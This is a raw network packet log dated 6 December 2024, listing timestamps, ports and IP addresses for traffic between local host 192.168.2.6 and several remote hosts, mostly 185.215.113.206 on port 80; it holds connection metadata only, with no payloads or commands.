Dec 6, 2024 18:45:48.018774033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.018810987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.019666910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.019707918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.037439108 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.037528038 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.039124012 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.039271116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.120560884 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.120632887 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.120671988 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.121397018 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.121422052 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.125689030 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.125741959 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.125802994 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.126164913 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.126178026 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.177017927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.177081108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.177561045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.177573919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.177602053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.177619934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.177802086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.177814007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.177833080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.177848101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.178803921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.178843021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.179182053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.179246902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.179757118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.179797888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.179822922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.179852962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.180912018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.180955887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.181082010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.181119919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.181931019 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.181969881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.181999922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.182037115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.182966948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.183011055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.183018923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.183056116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.183541059 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.183613062 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.183661938 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.184071064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.184112072 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.184235096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.184269905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.185132027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.185178995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.185182095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.185220003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.185771942 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.185837030 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.185882092 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.186207056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.186248064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.186316967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.186352968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.187407017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.187446117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.187558889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.187594891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.188407898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.188421011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.188455105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.189412117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.189450026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.189483881 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.189507008 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.189517975 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.189523935 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.189948082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.189991951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.190489054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.190526962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.190742016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.190756083 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.190761089 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.190783024 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.190787077 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.190793991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.191577911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.191618919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.191704988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.191744089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.192750931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.192790031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.192826986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.192862034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.193712950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.193754911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.193798065 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.193821907 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.193880081 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.194076061 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.194096088 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.194139004 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.194252968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.194293022 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.194307089 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.194322109 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.194366932 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:48.194379091 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:48.194823027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.194839001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.194871902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.194886923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.195852041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.195966005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.196959019 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.196971893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.196984053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.197011948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.197043896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.198005915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.198049068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.198224068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.198261976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.199115992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.199158907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.199242115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.199278116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.200144053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.200189114 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.200242043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.200277090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.201268911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.201314926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.201391935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.201431036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.202328920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.202369928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.202482939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.202523947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.203377962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.203418970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.203538895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.203577995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.204538107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.204550028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.204577923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.204595089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.205521107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.205562115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.205594063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.205630064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.206664085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.206718922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.207118034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.207159996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.207700968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.207714081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.207745075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.207763910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.208724976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.208769083 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.209306002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.209348917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.209841013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.209853888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.209887981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.209902048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.210880995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.210922003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.210947037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.210987091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.212048054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.212060928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.212088108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.212101936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.213046074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.213088036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.213130951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.213169098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.214104891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.214159012 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.214216948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.214262009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.215158939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.215203047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.215341091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.215383053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.216278076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.216290951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.216324091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.217367887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.217423916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.217546940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.217592955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.218394995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.218441963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.219490051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.219501972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.219537973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.219556093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.219608068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.219644070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.220556974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.220568895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.220607042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.221611023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.221661091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.221703053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.221744061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.222774029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.222822905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.222997904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.223037004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.223752975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.223793030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.224201918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.224256992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.224870920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.224884033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.224919081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.225902081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.225941896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.226068974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.226111889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.227051973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.227114916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.227127075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.227160931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.228049040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.228104115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.228410959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.228456974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.229149103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.229193926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.229662895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.229712009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.230221987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.230273962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.230822086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.230859995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.231273890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.231331110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.231467962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.231518984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.232357025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.232405901 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.232635975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.232682943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.243170977 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.243191004 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.243459940 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.243463993 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.243489027 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.243531942 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.296149015 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.296204090 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.296610117 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.296619892 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.296857119 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.296863079 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.366624117 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.366688013 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.367134094 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.367141962 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.367399931 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.367404938 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.369296074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.369349003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.369477034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.369519949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.369812012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.369885921 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.369970083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.370013952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.370019913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.370064974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.371083021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.371134996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.371750116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.371803045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.372185946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.372199059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.372241020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.373259068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.373302937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.373378992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.373416901 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.374295950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.374340057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.374485970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.374526024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.375443935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.375488997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.375773907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.375818014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.376471996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.376516104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.376859903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.376899958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.377512932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.377557039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.377692938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.377877951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.378617048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.378660917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.378803015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.378958941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.379676104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.379744053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.379949093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.380009890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.380762100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.380812883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.381092072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.381135941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.381858110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.382040977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.382215977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.382261038 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.382898092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.382935047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.383102894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.383146048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.383976936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.384140968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.384171963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.384217978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.385057926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.385189056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.385354996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.385396957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.386123896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.386253119 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.386257887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.386290073 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.387217045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.387325048 CET	80	49796	185.215.113.206	192.168.2.6
